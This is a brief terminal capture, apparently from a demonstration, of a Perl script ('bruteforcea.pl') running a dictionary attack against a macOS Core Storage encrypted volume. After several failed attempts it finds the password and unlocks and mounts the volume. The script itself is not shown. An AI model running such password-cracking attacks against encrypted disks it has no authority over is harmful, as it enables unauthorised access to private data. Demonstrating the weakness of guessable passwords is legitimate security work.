LawMac:Desktop Lawrence$ perl bruteforcea.pl -u AA0E91C1-131A-4B86-9F6D-772D281C3ED6 -d dict.txt 
Error: -69749: Unable to unlock the Core Storage volume
Error: -69749: Unable to unlock the Core Storage volume
Error: -69749: Unable to unlock the Core Storage volume
Error: -69749: Unable to unlock the Core Storage volume
Password found!!! It was "securitybydefault.com"
Started CoreStorage operation
Logical Volume successfully unlocked
Logical Volume successfully attached as disk4
Logical Volume successfully mounted as /Volumes/test
Core Storage disk: disk4
Finished CoreStorage operation